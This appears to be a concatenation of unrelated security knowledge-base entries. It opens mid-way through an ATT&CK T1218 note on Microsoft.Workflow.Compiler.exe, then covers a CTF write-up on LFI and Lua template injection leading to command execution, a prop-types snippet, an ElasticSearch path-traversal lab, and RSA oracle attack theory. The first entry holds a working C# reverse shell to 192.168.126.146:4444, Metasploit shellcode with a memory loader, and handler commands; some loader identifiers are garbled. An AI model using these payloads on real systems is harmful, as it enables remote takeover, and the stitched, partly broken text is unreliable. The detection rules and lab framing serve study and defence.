<CompilerInput xmlns:i="http://www.w3.org/2001/XMLSchema‐instance" xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Workflow.Compiler"
<files xmlns:d2p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays">
<d2p1:string>add.tcp</d2p1:string>
</files>
<parameters xmlns:d2p1="http://schemas.datacontract.org/2004/07/System.Workflow.ComponentModel.Compiler">
<assemblyNames xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<compilerOptions i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<coreAssemblyFileName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></coreAssemblyFileName>
<embeddedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<evidence xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Security.Policy" i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<generateExecutable xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</generateExecutable>
<generateInMemory xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">true</generateInMemory>
<includeDebugInformation xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</includeDebugInformation>
<linkedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<mainClass i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<outputName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></outputName>
<tempFiles i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<treatWarningsAsErrors xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</treatWarningsAsErrors>
<warningLevel xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">‐1</warningLevel>
<win32Resource i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<d2p1:checkTypes>false</d2p1:checkTypes>
<d2p1:compileWithNoCode>false</d2p1:compileWithNoCode>
<d2p1:compilerOptions i:nil="true" />
<d2p1:generateCCU>false</d2p1:generateCCU>
<d2p1:languageToUse>CSharp</d2p1:languageToUse>
<d2p1:libraryPaths xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" i:nil="true" />
<d2p1:localAssembly xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Reflection" i:nil="true" />
<d2p1:mtInfo i:nil="true" />
<d2p1:userCodeCCUs xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.CodeDom" i:nil="true" />
</parameters>
</CompilerInput>
```
#### add.tcp
```c#
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Net;
using System.Net.Sockets;
using System.Workflow.Activities;
public class Program : SequentialWorkflowActivity
{
static StreamWriter streamWriter;
public Program()
{
using(TcpClient client = new TcpClient("192.168.126.146", 4444))
{
using(Stream stream = client.GetStream())
{
using(StreamReader rdr = new StreamReader(stream))
{
streamWriter = new StreamWriter(stream);
StringBuilder strInput = new StringBuilder();
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();
while(true)
{
strInput.Append(rdr.ReadLine());
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
}
}
}
}
private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();
if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception err) { }
}
}
}
```
#### 设置监听
```bash
use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.126.146
msf exploit(multi/handler) > set lport 4444
msf exploit(multi/handler) > exploit
```
#### 靶机执行payload
```dos
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe poc.xml add.tcp
```
#### 查看会话
进程意外终止,未获得会话,利用方法2进行测试。
### 方法2
#### msf生成shellcode
```bash
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.126.146 LPORT=4444 -f csharp
```
```cs
using System;
using System.Workflow.Activities;
using System.Net;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.Threading;
class yrDaTlg : SequentialWorkflowActivity {
[DllImport("kernel32")] private static extern IntPtr VirtualAlloc(UInt32 rCfMkmxRSAakg,UInt32 qjRsrljIMB, UInt32 peXiTuE, UInt32 AkpADfOOAVBZ);
[DllImport("kernel32")] public static extern bool VirtualProtect(IntPt rDStOGXQMMkP, uint CzzIpcuQppQSTBJ, uint JCFImGhkRqtwANx, out uint exgVp Sg);
[DllImport("kernel32")]private static extern IntPtr CreateThread(UInt32 eisuQbXKYbAvA, UInt32 WQATOZaFz, IntPtr AEGJQOn,IntPtr SYcfyeeSgPl, UInt32 ZSheqBwKtDf, ref UInt32 SZtdSB);
[DllImport("kernel32")] private static extern UInt32 WaitForSingleObject(IntPtr KqJNFlHpsKOV, UInt32 EYBOArlCLAM);
public yrDaTlg() {
byte[] QWKpWKhcs =
{0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b,
0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,
0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,
0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,
0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,
0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,
0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,
0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x00,0x00,
0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,0x49,0x89,0xe5,
0x49,0xbc,0x02,0x00,0x11,0x5c,0xc0,0xa8,0x7e,0x92,0x41,0x54,0x49,0x89,0xe4,
0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,0x68,
0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x0a,
0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89,
0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,0xd5,
0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,
0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0x49,0xff,0xce,0x75,0xe5,
0xe8,0x93,0x00,0x00,0x00,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,0xc9,
0x6a,0x04,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5,
0x83,0xf8,0x00,0x7e,0x55,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,0x6a,0x40,0x41,
0x59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48,0x31,0xc9,0x41,
0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,0xc3,0x49,0x89,0xc7,0x4d,0x31,
0xc9,0x49,0x89,0xf0,0x48,0x89,0xda,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,
0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x00,0x40,
0x00,0x00,0x41,0x58,0x6a,0x00,0x5a,0x41,0xba,0x0b,0x2f,0x0f,0x30,0xff,0xd5,
0x57,0x59,0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x49,0xff,0xce,0xe9,0x3c,
0xff,0xff,0xff,0x48,0x01,0xc3,0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xb4,0x41,
0xff,0xe7,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5 };
IntPtr AmnGaO = VirtualAlloc(0, (UInt32)QWKpWKhcs.Length, 0x3000, 0x04);
Marshal.Copy(QWKpWKhcs, 0, (IntPtr)(AmnGaO), QWKpWKhcs.Length);
IntPtr oXmoNUYvivZlXj = IntPtr.Zero; UInt32 XVXTOi = 0; IntPtr pAeCTf wBS = IntPtr.Zero;
uint BnhanUiUJaetgy;
bool iSdNUQK = VirtualProtect(AmnGaO, (uint)0x1000, (uint)0x20, out BnhanUiUJaetgy);
oXmoNUYvivZlXj = CreateThread(0, 0, AmnGaO, pAeCTfwBS, 0, ref XVXTOi);
WaitForSingleObject(oXmoNUYvivZlXj, 0xFFFFFFFF);}
}
```
#### 执行监听
```bash
use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.126.146
msf exploit(multi/handler) > set lport 4444
msf exploit(multi/handler) > exploit
```
#### 执行payload
```dos
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe poc.xml 1.cs
```
#### 接受session
进程意外终止,未获得会话。
## 测试留痕
```log
事件ID: 4688
进程信息: #方法1
新进程 ID:0xb18
新进程名称:C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe
令牌提升类型:TokenElevationTypeDefault (1)
创建者进程 ID:0xaa0
进程命令行:C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe poc.xml add.tcp
事件ID: 4688
进程信息: #方法2
新进程 ID:0x804
新进程名称:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe
令牌提升类型:TokenElevationTypeDefault (1)
创建者进程 ID:0xe8
进程命令行:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe poc.xml 1.cs
```
## 检测规则/思路
### sigma规则
```yml
title: Microsoft Compiler
status: experimental
description: 检测Microsoft工作流编译器的调用,该编译器可能允许执行任意无符号代码
tags:
- attack.defense_evasion
- attack.execution
- attack.t1218
references:
- https://posts.specterops.io/arbitrary-unsigned-code-execution-vector-in-microsoft-workflow-compiler-exe-3d9294bc5efb
logsource:
category: process_creation
product: windows
detection:
selection:
Image: '*\Microsoft.Workflow.Compiler.exe'
condition: selection
fields:
- CommandLine
- ParentCommandLine
falsepositives:
- Legitimate MWC use (unlikely in modern enterprise environments)
level: high
```
### 建议
无具体检测规则,可根据进程创建事件4688/1(进程名称、命令行)进行监控。本监控方法需要自行安装配置审核策略Sysmon。
## 相关TIP
[[T1218-003-win-基于Cmstp.exe执行Payload(白名单)]]
[[T1218-004-win-基于Installutil.exe执行payload(白名单)]]
[[T1218-005-win-基于Mshta.exe执行payload(白名单)]]
[[T1218-007-win-基于Msiexec.exe执行Payload(白名单)]]
[[T1218-008-win-基于Odbcconf.exe执行Payload(白名单)]]
[[T1218-009-win-基于Regasm.exe执行payload(白名单)]]
[[T1218-010-win-基于Regsvr32执行payload(白名单)]]
[[T1218-011-win-基于Rundll32.exe执行payload(白名单)]]
[[T1218-011-win-基于URL.dll执行payload(白名单)]]
[[T1218-011-win-通过Rundll32的异常网络链接]]
[[T1218-win-基于Atbroker.exe执行恶意载荷(白名单)]]
## 参考推荐
MITRE-ATT&CK-T1218-001
<https://attack.mitre.org/techniques/T1218/001/>
基于白名单Compiler.exe执行payload第六季
<https://micro8.gitbook.io/micro8/contents-1/71-80/76-ji-yu-bai-ming-dan-compiler.exe-zhi-hang-payload-di-liu-ji>
远控免杀专题(43)-白名单Compiler.exe执行payload
<http://sec.nmask.cn/article_content?a_id=1b5c0f6a2e669c7605d42fd88f3f90fb>
|
sec-knowleage
|
# The Moon and Void
* Category: Web
* 450 Points
* Solved by the JCTF Team
## Description
> The Moon and Void. A good template to infuse unknown knowledge.
>
> PS: To discover something in the Void, a good eye is needed.
## Solution
We visit the attached website and find a "Markdown to HTML" service:
```html
<h2 style="color:#000">Markdown to HTML</h2>
<form action="/convert" method="post" id="formark">
<textarea id="mark" name="mark" rows="5" cols="60">
Insert markdown here...
</textarea>
</form>
<button type="submit" form="formark" value="Submit">Submit</button>
```
We can submit some markdown text:
```
# Title
* Bullet 1
* Bullet 2
**Bold Text**
```
The result is linked to as follows:
```html
<p style="color:#000">File: <a href="/download?html=ukcqyjrnhedpqfsnexdj">ukcqyjrnhedpqfsnexdj.txt</a></p>
```
And visiting the link, we get our markdown output:
```html
<html ><head ><title>The Moon and Void</title></head><body >
<h1>Title</h1>
<ul>
<li>Bullet 1</li>
<li>Bullet 2</li>
</ul>
<p><strong>Bold Text</strong></p>
<pre><code>
</code></pre>
</body></html>
```
Notice how the link text says `ukcqyjrnhedpqfsnexdj.txt`, as if it's a file on the file system. This might mean that the server is vulnerable to LFI. Let's try to read some file:
```console
┌──(user@kali)-[/media/sf_CTFs/intent/The_Moon_and_Void]
└─$ curl "https://moon-and-void.intent.ctf.today/download?html=/etc/passwd"
<html>
<head><title>Server Error</title></head>
<body><pre>/app/app.lua:38: attempt to index local 'f' (a nil value)
stack traceback:
/app/app.lua:38: in function </app/app.lua:34>
(tail call): ?
stack traceback:
/usr/local/share/lua/5.1/orbit.lua:550: in function 'err'
/usr/local/share/lua/5.1/coxpcall.lua:47: in function </usr/local/share/lua/5.1/coxpcall.lua:45>
(tail call): ?
(tail call): ?
/usr/local/share/lua/5.1/orbit.lua:548: in function </usr/local/share/lua/5.1/orbit.lua:529>
(tail call): ?
(tail call): ?</pre></body></html>
```
The read failed, but we can learn from the error message that the backend in using `lua` with the `orbit` framework. This will soon help us.
Anyway, after several more attempts, we were able to successfully leak the file with the following request:
```console
┌──(user@kali)-[/media/sf_CTFs/intent/The_Moon_and_Void]
└─$ curl "https://moon-and-void.intent.ctf.today/download?html=....//....//....//....//etc//passwd%00"
<html ><head ><title>The Moon and Void</title></head><body >root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
app:x:1000:1000:,,,:/home/app:/bin/bash
</body></html>
```
The next thing to do is leak the app with `https://moon-and-void.intent.ctf.today/download?html=....//app.lua%00`:
```lua
#!/usr/bin/env wsapi.cgi
require "logging"
local orbit = require "orbit"
local cosmo = require "cosmo"
local markdown = require "markdown"
math.randomseed(os.time())
local logger = logging.new(function(self, level, message)
print(level, message)
return true
end)
logger:setLevel(logging.WARN)
module("app", package.seeall, orbit.new)
-- Controllers
function index(web)
return web:page("templates/index.html")
end
function convert(web)
logger:info("Convert called!")
local html_tmp = markdown(web.POST.mark)
local filename = random_string(20)
local f = io.open("/app/html/" .. filename .. ".html", "w")
f:write(html_tmp)
f:close()
web:set_cookie("file", filename)
return web:redirect("/")
end
function download(web)
local tmp = web.GET.html
logger:info("Download file " .. tmp)
local f = io.open("/app/html/" .. tmp:gsub("%.%.%/", "") .. ".html")
local content = f:read("*a")
f:close()
return render_layout(content)
end
function login(web)
user = "guest"
web.set_cookie("user", user)
return "Under construction"
end
function load_plugin(web)
local access = web.cookies["access"]
if access == io.open("creds"):read("*a") then
return web:page(web.input.plugin)
else
return web:page("templates/admin.html")
end
end
-- Dispatch table
app:dispatch_get(index, "/", "/index")
app:dispatch_get(download, "/download")
app:dispatch_post(convert, "/convert")
app:dispatch_post(load_plugin, "/plugin")
-- View functions and others
function random_string(length)
local tmp = ""
for i = 1, length do
tmp = tmp .. string.char(math.random(97, 122))
end
return tmp
end
function plugin_page(plugin)
logger:info("Plugin " .. plugin .. " loaded!")
cosmo.fill(plugin, "")
end
function render_layout(inner_html)
return html{
head{ title"The Moon and Void" },
body{ inner_html }
}
end
orbit.htmlify(app, "render_.+")
```
We can see that there's a `/plugin` endpoint, but access to it is restricted. Luckily, we can leak `creds`:
```console
┌──(user@kali)-[/media/sf_CTFs/intent/The_Moon_and_Void]
└─$ curl "https://moon-and-void.intent.ctf.today/download?html=....//creds%00"
<html ><head ><title>The Moon and Void</title></head><body >qapwdadmin
</body></html>
```
Let's try to use it to access the plugins endpoint:
```console
┌──(user@kali)-[/media/sf_CTFs/intent/The_Moon_and_Void]
└─$ curl -X POST "https://moon-and-void.intent.ctf.today/plugin" --cookie "access=qapwdadmin" -s | grep Admin
<h2 style="color:#000">Not an Admin!</h2>
```
That doesn't work. But if we add newline at the end, it does:
```console
┌──(user@kali)-[/media/sf_CTFs/intent/The_Moon_and_Void]
└─$ curl -X POST "https://moon-and-void.intent.ctf.today/plugin" --cookie "access=qapwdadmin%0A" -s
<html>
<head><title>Server Error</title></head>
<body><pre>/usr/local/share/lua/5.1/orbit.lua:441: attempt to index local 'name' (a nil value)
stack traceback:
/usr/local/share/lua/5.1/orbit.lua:441: in function </usr/local/share/lua/5.1/orbit.lua:436>
(tail call): ?
(tail call): ?
stack traceback:
/usr/local/share/lua/5.1/orbit.lua:550: in function 'err'
/usr/local/share/lua/5.1/coxpcall.lua:47: in function </usr/local/share/lua/5.1/coxpcall.lua:45>
(tail call): ?
(tail call): ?
/usr/local/share/lua/5.1/orbit.lua:548: in function </usr/local/share/lua/5.1/orbit.lua:529>
(tail call): ?
(tail call): ?</pre></body></html>
```
So we can now execute templates via the following logic:
```lua
return web:page(web.input.plugin)
```
Recall that we can write arbitrary content to the disk using the service itself. This means that we can create a lua template which will give us remote code execution.
We submit:
```
$lua{[[
os.execute("ls -al / > /app/html/out.html")
]]}
```
We use the `plugin` endpoint to execute out submission as a template:
```console
┌──(user@kali)-[/media/sf_CTFs/intent/The_Moon_and_Void]
└─$ curl --location --request POST 'https://moon-and-void.intent.ctf.today/plugin' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--header 'Cookie: access=qapwdadmin%0A' \
--data-urlencode 'plugin=../../../../../app/html/ytdinifpcxybeoebuufw.html'
<p></p>
```
And finally visit access `out.html`:
```console
┌──(user@kali)-[/media/sf_CTFs/intent/The_Moon_and_Void]
└─$ curl --location --request POST 'https://moon-and-void.intent.ctf.today/plugin' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--header 'Cookie: access=qapwdadmin%0A' \
--data-urlencode 'plugin=../../../../../app/html/out.html'
total 24
drwxr-xr-x 1 root root 39 Dec 16 11:53 .
drwxr-xr-x 1 root root 39 Dec 16 11:53 ..
drwxr-xr-x 1 root root 18 Dec 15 14:35 app
drwxr-xr-x 1 root root 179 Dec 15 14:34 bin
drwxr-xr-x 2 root root 6 Sep 3 12:10 boot
drwxr-xr-x 5 root root 360 Dec 16 11:53 dev
drwxr-xr-x 1 root root 19 Dec 16 11:53 etc
drwxr-xr-x 1 root root 17 Dec 15 14:35 home
drwxr-xr-x 1 root root 41 Dec 15 14:35 lib
drwxr-xr-x 2 root root 34 Dec 5 00:00 lib64
drwxr-xr-x 2 root root 6 Dec 5 00:00 media
drwxr-xr-x 2 root root 6 Dec 5 00:00 mnt
drwxr-xr-x 2 root root 6 Dec 5 00:00 opt
dr-xr-xr-x 388 root root 0 Dec 16 11:53 proc
-rwsr-sr-x 1 root root 16864 Dec 15 14:35 readflag
drwx------ 1 root root 22 Dec 15 14:35 root
drwxr-xr-x 1 root root 21 Dec 16 11:53 run
drwxr-xr-x 2 root root 4096 Dec 5 00:00 sbin
drwxr-xr-x 2 root root 6 Dec 5 00:00 srv
dr-xr-xr-x 13 root root 0 Dec 15 14:36 sys
drwxrwxrwt 1 root root 6 Dec 15 14:35 tmp
drwxr-xr-x 1 root root 19 Dec 5 00:00 usr
drwxr-xr-x 1 root root 17 Dec 5 00:00 var
```
Let's capture the contents of `readflag` into a file using:
```
$lua{[[
os.execute("/readflag > /app/html/out.html")
]]}
```
We repeat the process and get the flag:
```console
┌──(user@kali)-[/media/sf_CTFs/intent/The_Moon_and_Void]
└─$ curl --location --request POST 'https://moon-and-void.intent.ctf.today/plugin' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--header 'Cookie: access=qapwdadmin%0A' \
--data-urlencode 'plugin=../../../../../app/html/ihovpusnvnhrulyayjup.html'
<p></p>
┌──(user@kali)-[/media/sf_CTFs/intent/The_Moon_and_Void]
└─$ curl --location --request POST 'https://moon-and-void.intent.ctf.today/plugin' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--header 'Cookie: access=qapwdadmin%0A' \
--data-urlencode 'plugin=../../../../../app/html/out.html'
INTENT{1nj3ctiNg_iNTo_M00n_0rb1t_XFUwMDAxZjMxOA==}
```
|
sec-knowleage
|
### 数据类型检测
**prop-types**包(React组件属性类型校验)
装包:
```
npm i prop-types --save
```
引用
```
import PropTypes from 'prop-types'
//利用包的PropTypes.number检测tal是否为数字
Btn.propTypes = {
tal:PropTypes.number
}
```
|
sec-knowleage
|
# ElasticSearch 目录穿越漏洞(CVE-2015-3337)测试环境
jre版本:openjdk:8-jre
elasticsearch版本:v1.4.4
影响版本:1.4.5以下/1.5.2以下
## 原理
在安装了具有“site”功能的插件以后,插件目录使用`../`即可向上跳转,导致目录穿越漏洞,可读取任意文件。没有安装任意插件的elasticsearch不受影响。
## 测试环境
编译及运行测试环境
```
docker compose build
docker compose up -d
```
测试环境默认安装了一个插件:`elasticsearch-head`,主页在此:https://github.com/mobz/elasticsearch-head
访问`http://your-ip:9200/_plugin/head/../../../../../../../../../etc/passwd`读取任意文件(不要在浏览器访问):

## head插件
head插件提供了elasticsearch的前端页面,访问 `http://your-ip:9200/_plugin/head/` 即可看到,不多说了。
|
sec-knowleage
|
### RSA 选择明密文攻击选择明文攻击
这里给出一个例子,假如我们有一个加密 oracle ,但是我们不知道 n 和 e,那
1. 我们可以通过加密 oracle 获取 n。
2. 在 e 比较小( $e<2^{64}$)时,我们可以利用 *Pollard’s kangaroo algorithm* 算法获取 e。这一点比较显然。
我们可以加密 2,4,8,16。那么我们可以知道
$c_2=2^{e} \bmod n$
$c_4=4^{e} \bmod n$
$c_8=8^{e} \bmod n$
那么
$c_2^2 \equiv c_4 \bmod n$
$c_2^3 \equiv c_8 \bmod n$
故而
$c_2^2-c_4=kn$
$c_2^3-c_8=tn$
我们可以求出 kn 和 tn 的最大公因数,很大概率就是 n 了。我们还可以构造更多的例子从来更加确定性地找 n。
### RSA 明文攻击任意密文解密
假设爱丽丝创建了密文 $C = P^e \bmod n$ 并且把 C 发送给鲍勃,同时假设我们要对爱丽丝加密后的任意密文解密,而不是只解密 C,那么我们可以拦截 C,并运用下列步骤求出 P:
1. 选择任意的 $X\in Z_n^{*}$,即 X 与 N 互素
2. 计算 $Y=C \times X^e \bmod n$
3. 由于我们可以进行选择密文攻击,那么我们求得 Y 对应的解密结果 $Z=Y^d$
4. 那么,由于 $Z=Y^d=(C \times X^e)^d=C^d X=P^{ed} X= P X\bmod n$,由于 X 与 N 互素,我们很容易求得相应的逆元,进而可以得到 P
### RSA parity oracle原理
假设
$C=P^e \bmod N$
第一次时,我们可以给服务器发送
$C*2^e=(2P)^e \bmod N$
服务器会计算得到
$2P \bmod N$
这里
- 2P 是偶数,它的幂次也是偶数。
- N 是奇数,因为它是由两个大素数相乘得到。
那么
- 服务器返回奇数,即 $2P \bmod N$ 为奇数,则说明 2P 大于 N,且减去了奇数个 N,又因为 $2P<2N$,因此减去了一个N, 即 $\frac{N}{2} \leq P < N$,我们还可以考虑向下取整。
- 服务器返回偶数,则说明 2P 小于 N。即 $0\leq P < \frac{N}{2}$,我们还可以向下取整。
这里我们使用数学归纳法,即假设在第 i 次时,$\frac{xN}{2^{i}} \leq P < \frac{xN+N}{2^{i}}$
进一步,在第 i+1 次时,我们可以发送
$C*2^{(i+1)e}$
服务器会计算得到
$2^{i+1}P \bmod N=2^{i+1}P-kN$
$0 \leq 2^{i+1}P-kN<N$
$\frac{kN}{2^{i+1}} \leq P < \frac{kN+N}{2^{i+1}}$
根据第 i 次的结果
$\frac{2xN}{2^{i+1}} \leq P < \frac{2xN+2N}{2^{i+1}}$
那么
- 服务器返回奇数,则 k 必然是一个奇数,k=2y+1, 那么 $\frac{2yN+N}{2^{i+1}} \leq P < \frac{2yN+2N}{2^{i+1}}$。与此同时,由于 P 必然存在,所以第 i+1 得到的这个范围和第 i 次得到的范围必然存在交集。所以 y 必然与 x 相等。
- 服务器返回偶数,则 k 必然是一个偶数,k=2y,此时 y 必然也与 x 相等,那么 $\frac{2xN}{2^{i+1}} \leq P < \frac{2xN+N}{2^{i+1}}$
进一步我们可以这么归纳
```c
lb = 0
ub = N
if server returns 1
lb = (lb+ub)/2
else:
ub = (lb+ub)/2
```
这里虽然是整除, 即下取整,但是无所谓我们在最初时已经分析了这个问题。
### RSA Byte Oracle原理
这个其实算作 RSA parity Oracle 的扩展,既然可以泄露出最后一个字节,那么按道理我们获取密文对应明文的次数应该可以减少。
假设
$C=P^e \bmod N$
第一次时,我们可以给服务器发送
$C*256^e=(256P)^e \bmod N$
服务器会计算得到
$256P \bmod N$
这里
- 256P 是偶数。
- N 是奇数,因为它是由两个大素数相乘得到。
由于 P 一般是小于 N 的,那么$256P \bmod N=256P-kn, k<256$。而且对于两个不同的 $k_1,k_2$,我们有
$256P-k_1n \not\equiv 256P-k_2n \bmod 256$
我们可以利用反证法来证明上述不等式。同时 $256P-kn$ 的最后一个字节其实就是 $-kn$ 在模 256 的情况下获取的。那么,其实我们可以首先枚举出 0~255 情况下的最后一个字节,构造一个 k 和最后一个字节的映射表 map
当服务器返回最后一个字节 b,那么我们可以根据上述构造的映射表得知 k,即减去了 k 个N, 即 $kN \leq 256 P \leq (k+1)N$。
此后,我们使用数学归纳法来获取 P 的范围,即假设在第 i 次时,$\frac{xN}{256^{i}} \leq P < \frac{xN+N}{256^{i}}$
进一步,在第 i+1 次时,我们可以发送
$C*256^{(i+1)e}$
服务器会计算得到
$256^{i+1}P \bmod N=256^{i+1}P-kN$
$0 \leq 256^{i+1}P-kN<N$
$\frac{kN}{256^{i+1}} \leq P < \frac{kN+N}{256^{i+1}}$
根据第 i 次的结果
$\frac{256xN}{256^{i+1}} \leq P < \frac{256xN+256N}{256^{i+1}}$
我们这里可以假设 $k=256y+t$, 而这里的 t 就是我们可以通过映射表获取的。
$\frac{256yN+tN}{256^{i+1}} \leq P < \frac{256yN+(t+1)N}{256^{i+1}}$
与此同时,由于 P 必然存在,所以第 i+1 得到的这个范围和第 i 次得到的范围必然存在交集。
所以 y 必然与 x 相等。
进一步我们可以这么归纳,初始情况下
```
lb = 0
ub = N
```
假设服务器返回了 b,那么
```c
k = mab[b]
interval = (ub-lb)/256
lb = lb + interval * k
ub = lb + interval
```
### RSA parity oracle variant原理
